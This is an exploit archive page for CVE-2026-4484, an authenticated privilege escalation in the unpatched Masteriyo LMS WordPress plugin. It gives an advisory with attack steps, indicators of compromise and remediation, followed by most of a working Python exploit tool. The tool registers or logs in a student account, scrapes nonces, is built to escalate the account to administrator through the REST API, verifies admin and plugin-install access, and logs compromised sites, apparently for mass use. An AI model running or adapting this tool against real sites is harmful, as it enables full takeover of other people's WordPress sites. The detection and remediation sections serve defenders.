PoC Archive PoC Archive
High CVE-2026-4484 unpatched

Masteriyo LMS Authenticated Privilege Escalation to Administrator (CVE-2026-4484)

by Nxploited (Khaled Alenazi) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-4484
Category
web
Affected product
Masteriyo LMS plugin for WordPress
Affected versions
All versions up to and including 2.1.6
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2026-4484
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagswordpress, masteriyo-lms, privilege-escalation, rest-api, cwe-269, broken-access-control
RelatedN/A

Affected Target

FieldValue
Software / SystemMasteriyo LMS plugin for WordPress
Versions AffectedAll versions up to and including 2.1.6
Language / PlatformPython 3.8+ (exploit tool), PHP / WordPress (target)
Authentication RequiredYes — Student-level account or above
Network Access RequiredYes

Summary

The Masteriyo LMS WordPress plugin’s InstructorsController::prepare_object_for_database REST API handler fails to verify that the requesting user holds the edit_users/promote_users capability before persisting an arbitrary roles value submitted in the request body. Any authenticated user with at least Student-level access can POST a request to /wp-json/masteriyo/v1/users/instructors/{user_id} containing {"roles": ["administrator"]} to silently promote their own account to WordPress Administrator, achieving full site takeover.


Vulnerability Details

Root Cause

InstructorsController::prepare_object_for_database reads the roles field directly from the incoming REST request body and writes it to the WordPress user metadata table without checking whether the authenticated caller has permission to assign roles. This allows any authenticated user (Student tier or above) to set their own roles to administrator.

Attack Vector

  1. Attacker registers a new Student-level account (or uses an existing Student/Instructor account) on the target WordPress site running vulnerable Masteriyo LMS.
  2. Attacker logs in via the Masteriyo AJAX login endpoint (/wp-admin/admin-ajax.php, action masteriyo_login) to obtain an authenticated session.
  3. Attacker loads the Masteriyo dashboard (/account/#/dashboard) to extract their current_user_id and a valid REST nonce.
  4. Attacker sends POST /wp-json/masteriyo/v1/users/instructors/{user_id} with header X-WP-Nonce: <nonce> and JSON body {"roles": ["administrator"]}.
  5. The server accepts the role change without capability checks, and the account is now a WordPress Administrator.
  6. Attacker re-authenticates with a fresh session and confirms admin panel / plugin-install access, then records the compromised credentials.

Impact

Complete WordPress site takeover — the attacker gains full Administrator privileges, enabling arbitrary plugin/theme installation (leading to further RCE), user management, content tampering, and data exfiltration.


Environment / Lab Setup

Target: WordPress site with Masteriyo LMS plugin <= 2.1.6 installed and
        student registration enabled (or an existing low-privilege account
        available for testing).
Attacker tooling: Python 3.8+, pip install -r requirements.txt
                  (requests, urllib3, colorama).

Proof of Concept

PoC Script

See CVE-2026-4484.py in this folder.

1
2
pip install requests urllib3 colorama
python3 CVE-2026-4484.py

Running the tool against a vulnerable target registers or logs in as a low-privileged user, sends the crafted {"roles":["administrator"]} REST payload to the vulnerable endpoint, and re-verifies the session now has full wp-admin/plugin-install access — writing confirmed hits to Login_admin.txt.


Detection & Indicators of Compromise

- WordPress/REST API access logs showing POST requests to
  /wp-json/masteriyo/v1/users/instructors/{id} with a JSON body
  containing "roles":["administrator"] from non-admin sessions.
- New administrator accounts appearing that were not created through
  the normal wp-admin user management flow.
- Student/Instructor accounts suddenly gaining wp-admin/plugins.php
  or plugin-install.php access.

Signs of compromise:

  • Unexpected new administrator-role users in wp_usermeta/wp_users.
  • REST API logs showing role-escalation POST requests from low-privilege sessions.
  • Login_admin.txt-style artifacts or unexplained plugin installs following student account activity.

Remediation

ActionDetail
Primary fixUpdate Masteriyo LMS to a patched version that enforces capability checks (edit_users/promote_users) in InstructorsController::prepare_object_for_database before applying role changes.
Interim mitigationDisable public/student self-registration where not required, restrict access to the /wp-json/masteriyo/v1/users/instructors/* REST route via a WAF rule, and audit existing user roles for unauthorized administrator accounts.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-4484 on 2026-07-05.

CVE-2026-4484.py
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#!/usr/bin/env python3
# By: Nxploited

import os
import sys
import time
import html as _html_mod
from datetime import datetime
from typing import Tuple, Optional, List, Any
from urllib.parse import urlparse

import requests
import re
import json as _json

try:
    from colorama import Fore, Back, Style, init as colorama_init
    colorama_init(autoreset=True)
except Exception:
    class _D:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
        BRIGHT = ""
        DIM = ""
    Fore = _D()
    Back = _D()
    Style = _D()

requests.packages.urllib3.disable_warnings()

TERM_WIDTH = 80
LOGIN_ADMIN_FILE = "Login_admin.txt"

# ======================================================================
# BASIC HELPERS / BANNER / LOGGING
# ======================================================================

def center(text: str, width: int = TERM_WIDTH) -> str:
    text = text.rstrip("\n")
    length = len(text)
    if length >= width:
        return text
    pad = (width - length) // 2
    return " " * pad + text

def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    banner_lines = [
        r"   ___  _        ___     __  __  __  __              __      ",
        r"  / (_)(_|   |_// (_)   /  )/  \/  )/     |  | |  | /  \|  | ",
        r" |       |   |  \__       /|    | /| __   |__|_|__|_\__/|__|_",
        r" |       |   |  /   -----/ |    |/ |/  \-----|    | /  \   | ",
        r"  \___/   \_/   \___/   /___\__//___\__/     |    | \__/   | ",
        r"                                                              ",
    ]
    main_color = Fore.CYAN + Style.BRIGHT
    accent = Fore.MAGENTA + Style.BRIGHT

    for line in banner_lines:
        print(main_color + center(line) + Style.RESET_ALL)

    print()
    print(accent + center("By: Nxploited | Telegram: @KNxploited") + Style.RESET_ALL)
    print()

def log_line(prefix: str, color: str, msg: str, style: str = "") -> None:
    print(f"{color}{style}{prefix}{Style.RESET_ALL} {msg}")

def log_info(msg: str) -> None:
    log_line("[INFO] ", Fore.CYAN, msg, Style.DIM)

def log_warn(msg: str) -> None:
    log_line("[WARN] ", Fore.YELLOW, msg)

def log_err(msg: str) -> None:
    log_line("[FAIL] ", Fore.RED, msg)

def log_ok(msg: str) -> None:
    log_line("[OK]   ", Fore.GREEN, msg, Style.BRIGHT)

def log_dead(msg: str) -> None:
    log_line("[DEAD] ", Fore.MAGENTA, msg, Style.DIM)

# ======================================================================
# HTTP / SESSION / PATHS
# ======================================================================

BASE_HEADERS = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Cache-Control": "no-cache",
    "Pragma": "no-cache",
    "Upgrade-Insecure-Requests": "1",
    "Connection": "keep-alive",
}

UA_POOL = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]

ACCOUNT_PATH = "/account/"
SIGNUP_PATH = "/account/signup/"
REGISTER_POST_PATH = "/st/"
DASHBOARD_PATH = "/account/#/dashboard"
AJAX_PATH = "/wp-admin/admin-ajax.php"
REST_ESCALATE_TEMPLATE = "/wp-json/masteriyo/v1/users/instructors/{user_id}"

def get_ua() -> str:
    import random
    return random.choice(UA_POOL)

def build_headers(referer: Optional[str] = None) -> dict:
    h = dict(BASE_HEADERS)
    h["User-Agent"] = get_ua()
    h["DNT"] = "1"
    h["Sec-Fetch-Site"] = "same-origin"
    h["Sec-Fetch-Mode"] = "navigate"
    h["Sec-Fetch-User"] = "?1"
    h["Sec-Fetch-Dest"] = "document"
    if referer:
        h["Referer"] = referer
    return h

def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"

def new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.timeout = timeout
    adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s

def has_wordpress_logged_in_cookie(session: requests.Session) -> bool:
    for c in session.cookies:
        if c.name.startswith("wordpress_logged_in_"):
            return True
    return False

# ======================================================================
# STRONG NONCE EXTRACTION
# ======================================================================

def extract_all_nonces(html: str) -> dict:
    nonces = {}

    def add(source: str, key: str, value: str):
        key = key.strip()
        value = value.strip()
        if not key or not value:
            return
        if key not in nonces:
            nonces[key] = set()
        nonces[key].add(value)

    html_unescaped = _html_mod.unescape(html)
    variants = [
        html_unescaped,
        html_unescaped.replace("\\\"", "\""),
        html_unescaped.replace("\\'", "'"),
    ]

    regex_patterns = [
        (r'name=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']', "_wpnonce"),
        (r'value=["\']([^"\']+)["\'][^>]*name=["\']_wpnonce["\']', "_wpnonce"),
        (r'id=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']', "_wpnonce"),

        (r'["\']_wpnonce["\']\s*[:=]\s*["\']([^"\']+)["\']', "_wpnonce"),
        (r'["\']nonce["\']\s*[:=]\s*["\']([^"\']+)["\']', "nonce"),
        (r'["\']wp_rest["\']\s*[:=]\s*["\']([^"\']+)["\']', "wp_rest"),

        (r'\\"_wpnonce\\"\s*[:=]\s*\\"([^"]+)\\"', "_wpnonce_escaped_dq"),
        (r'\\"nonce\\"\s*[:=]\s*\\"([^"]+)\\"', "nonce_escaped_dq"),
        (r'\\"wp_rest\\"\s*[:=]\s*\\"([^"]+)\\"', "wp_rest_escaped_dq"),

        (r"\\'_wpnonce\\'\s*[:=]\s*\\'([^']+)\\'", "_wpnonce_escaped_sq"),
        (r"\\'nonce\\'\s*[:=]\s*\\'([^']+)\\'", "nonce_escaped_sq"),
        (r"\\'wp_rest\\'\s*[:=]\s*\\'([^']+)\\'", "wp_rest_escaped_sq"),

        (r'["\']([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)["\']\s*[:=]\s*["\']([^"\']+)["\']', "__GENERIC_NONCE_PAIR__"),
        (r'\\"([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)\\"\s*[:=]\s*\\"([^"]+)\\"', "__GENERIC_NONCE_PAIR_ESCAPED_DQ__"),
        (r"\\'([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)\\'\s*[:=]\s*\\'([^']+)\\'", "__GENERIC_NONCE_PAIR_ESCAPED_SQ__"),
    ]

    for text in variants:
        for pat, fixed_key in regex_patterns:
            for m in re.finditer(pat, text, re.IGNORECASE | re.DOTALL):
                if fixed_key.startswith("__GENERIC_NONCE_PAIR"):
                    key = m.group(1)
                    value = m.group(2)
                    add("regex_generic", key, value)
                else:
                    value = m.group(1)
                    add("regex", fixed_key, value)

    return nonces

def get_best_login_nonce(html: str) -> Optional[str]:
    nonces = extract_all_nonces(html)
    for k in ["_wpnonce", "nonce", "login_nonce"]:
        if k in nonces and nonces[k]:
            return next(iter(nonces[k]))
    for k in nonces:
        if "nonce" in k.lower() and nonces[k]:
            return next(iter(nonces[k]))
    return None

def get_best_signup_nonce(html: str) -> Optional[str]:
    nonces = extract_all_nonces(html)
    for k in ["_wpnonce", "signup_nonce", "registration_nonce"]:
        if k in nonces and nonces[k]:
            return next(iter(nonces[k]))
    for k in nonces:
        if "nonce" in k.lower() and nonces[k]:
            return next(iter(nonces[k]))
    return None

# ======================================================================
# DASHBOARD CONTEXT (Masteriyo nonce/id)
# ======================================================================

def extract_dashboard_context(html: str) -> Tuple[Optional[str], Optional[str]]:
    user_id = None
    nonce = None
    m_uid = re.search(r'"current_user_id"\s*:\s*"(\d+)"', html, re.IGNORECASE)
    if m_uid:
        user_id = m_uid.group(1)
    m_nonce = re.search(r'"nonce"\s*:\s*"([A-Za-z0-9]{4,64})"', html, re.IGNORECASE)
    if m_nonce:
        nonce = m_nonce.group(1)
    return user_id, nonce

# ======================================================================
# ADMIN CHECK HELPERS (FROM Big.py)
# ======================================================================

def get_random_user_agent():
    return get_ua()

def verify_admin_access_sync(session: requests.Session, url: str, timeout: int) -> bool:
    try:
        admin_urls = [
            f"{url}/wp-admin/",
            f"{url}/wp-admin/index.php",
            f"{url}/wp-admin/users.php"
        ]
        
        for admin_url in admin_urls:
            try:
                headers = {'User-Agent': get_random_user_agent()}
                response = session.get(admin_url, timeout=timeout, verify=False, headers=headers, allow_redirects=False)
                
                if response.status_code == 200:
                    content = response.text.lower()
                    if any(indicator in content for indicator in [
                        'dashboard', 'wp-admin-bar', 'adminmenu', 'manage_options',
                        'users.php', 'plugins.php', 'themes.php', 'wp-admin/index.php'
                    ]):
                        return True
                elif response.status_code in [301, 302]:
                    location = response.headers.get('Location', '')
                    if 'wp-login.php' in location:
                        return False
            except:
                continue
        return False
    except:
        return False

def verify_plugin_installation_access_sync(session: requests.Session, url: str, timeout: int):
    try:
        plugin_install_urls = [
            f"{url}/wp-admin/plugin-install.php",
            f"{url}/wp-admin/plugin-install.php?tab=upload",
            f"{url}/wp-admin/plugins.php?page=plugin-install"
        ]
        
        for plugin_url in plugin_install_urls:
            try:
                headers = {'User-Agent': get_random_user_agent()}
                response = session.get(plugin_url, timeout=timeout, verify=False, headers=headers, allow_redirects=False)
                
                if response.status_code == 200:
                    content = response.text.lower()
                    installation_indicators = [
                        'plugin-install-tab',
                        'upload-plugin',
                        'plugin-upload-form',
                        'install-plugin-upload',
                        'pluginzip',
                        'browse plugins',
                        'add plugins'
                    ]
                    if any(indicator in content for indicator in installation_indicators):
                        return True, plugin_url, "Plugin installation page accessible"
                        
                elif response.status_code in [301, 302]:
                    location = response.headers.get('Location', '')
                    if 'wp-login.php' in location:
                        return False, plugin_url, "Redirected to login - no admin access"
            except:
                continue
                
        return False, None, "No plugin installation access found"
    except:
        return False, None, "Error checking plugin installation access"

def is_admin_session(base: str, session: requests.Session, timeout: int) -> bool:
    label = base
    admin_ok = verify_admin_access_sync(session, base, timeout)
    plugin_ok, purl, pdetail = verify_plugin_installation_access_sync(session, base, timeout)

    if admin_ok and plugin_ok:
        log_ok(f"{label} :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).")
        return True
    if plugin_ok:
        log_ok(f"{label} :: ADMIN SESSION (plugin-install access): {purl}")
        return True
    if admin_ok:
        log_ok(f"{label} :: ADMIN SESSION (dashboard indicators only).")
        return True

    log_warn(f"{label} :: LOGIN OK but no admin/plugin-install access detected.")
    return False

# ======================================================================
# LOGIN LOGIC (MASTERIYO AJAX, NO ADMIN CHECK HERE)
# ======================================================================

def masteriyo_login(
    base: str,
    session: requests.Session,
    timeout: int,
    username_or_email: str,
    password: str
) -> Tuple[bool, str]:
    label = base
    account_url = base.rstrip("/") + ACCOUNT_PATH
    ajax_url = base.rstrip("/") + AJAX_PATH

    try:
        r_get = session.get(account_url, headers=build_headers(account_url), timeout=timeout, verify=False)
    except Exception as e:
        log_dead(f"{label} :: /account/ GET error: {e}")
        return False, f"account_get_failed:{e}"

    if r_get.status_code != 200:
        log_dead(f"{label} :: /account/ HTTP {r_get.status_code}")
        return False, f"account_get_status_{r_get.status_code}"

    wpnonce = get_best_login_nonce(r_get.text)
    if not wpnonce:
        log_warn(f"{label} :: LOGIN :: no suitable nonce found in /account/")
        return False, "login_no_wpnonce"

    account_url_clean = account_url.rstrip("/")

    data = {
        "action": "masteriyo_login",
        "_wpnonce": wpnonce,
        "_wp_http_referer": ACCOUNT_PATH,
        "username": username_or_email,
        "password": password,
        "redirect_to": account_url_clean,
    }

    headers_post = build_headers(account_url)
    headers_post["Content-Type"] = "application/x-www-form-urlencoded"

    try:
        r_post = session.post(ajax_url, data=data, headers=headers_post, timeout=timeout, verify=False)
    except Exception as e:
        log_dead(f"{label} :: AJAX login POST error: {e}")
        return False, f"ajax_post_failed:{e}"

    try:
        j = r_post.json()
        msg = j.get("data", {}).get("message", "")
        if j.get("success"):
            log_ok(f"{label} :: LOGIN OK :: {msg or 'success'}")
        else:
            log_warn(f"{label} :: LOGIN FAIL :: {msg or 'unknown error'}")
    except Exception:
        body_preview = (r_post.text or "")[:300].replace("\n", " ")
        log_warn(f"{label} :: LOGIN RAW RESPONSE :: {body_preview}")

    if not has_wordpress_logged_in_cookie(session):
        return False, "login_no_logged_in_cookie"

    return True, "login_ok"

# ======================================================================
# REGISTRATION (Nx_1)
# ======================================================================

def masteriyo_register(
    base: str,
    session: requests.Session,
    timeout: int,
    username: str,
    email: str,
    password: str
) -> Tuple[bool, str]:
    label = base
    signup_url = base.rstrip("/") + SIGNUP_PATH
    st_url = base.rstrip("/") + REGISTER_POST_PATH

    try:
        r_get = session.get(signup_url, headers=build_headers(signup_url), timeout=timeout, verify=False)
    except Exception as e:
        log_dead(f"{label} :: /account/signup/ GET error: {e}")
        return False, f"signup_get_failed:{e}"

    if r_get.status_code != 200:
        log_dead(f"{label} :: /account/signup/ HTTP {r_get.status_code}")
        return False, f"signup_get_status_{r_get.status_code}"

    wpnonce = get_best_signup_nonce(r_get.text)
    if not wpnonce:
        log_warn(f"{label} :: REGISTER :: no suitable nonce found in /account/signup/")
        return False, "signup_no_wpnonce"

    local_part = email.split("@")[0] or username
    data = {
        "remember": "true",
        "_wpnonce": wpnonce,
        "first-name": local_part,
        "last-name": "user",
        "username": username,
        "email": email,
        "password": password,
        "confirm-password": password,
        "masteriyo-registration": "yes",
    }

    headers_post = build_headers(signup_url)
    headers_post["Content-Type"] = "application/x-www-form-urlencoded"

    try:
        r_post = session.post(st_url, data=data, headers=headers_post, timeout=timeout, verify=False)
    except Exception as e:
        log_dead(f"{label} :: /st/ POST (register) error: {e}")
        return False, f"signup_post_failed:{e}"

    body = (r_post.text or "").lower()

    if "email is already registered" in body or "user already exists" in body or "username is already taken" in body:
        log_warn(f"{label} :: REGISTER :: email/username already registered.")
        return True, "signup_email_or_user_already_registered"

    if "check your email" in body or "verify your email" in body or "activation email" in body:
        log_warn(f"{label} :: REGISTER :: email verification likely required.")
        return True, "registered_needs_email_verification"

    if "registration complete" in body or "account created" in body or "successfully registered" in body:
        log_ok(f"{label} :: REGISTER :: registration complete.")
        return True, "registered_ok"

    log_warn(f"{label} :: REGISTER :: response unclear.")
    return True, "registered_unclear"

# ======================================================================
# DASHBOARD + ESCALATE (MASTERIYO REST)
# ======================================================================

def masteriyo_fetch_dashboard_context(
    base: str,
    session: requests.Session,
    timeout: int
) -> Tuple[Optional[str], Optional[str]]:
    label = base
    dash_url = base.rstrip("/") + DASHBOARD_PATH

    try:
        r = session.get(dash_url, headers=build_headers(dash_url), timeout=timeout, verify=False, allow_redirects=True)
    except Exception as e:
        log_dead(f"{label} :: dashboard GET failed: {e}")
        return None, None

    if r.status_code != 200:
        log_dead(f"{label} :: dashboard HTTP {r.status_code}")
        return None, None

    user_id, nonce = extract_dashboard_context(r.text)
    if user_id and nonce:
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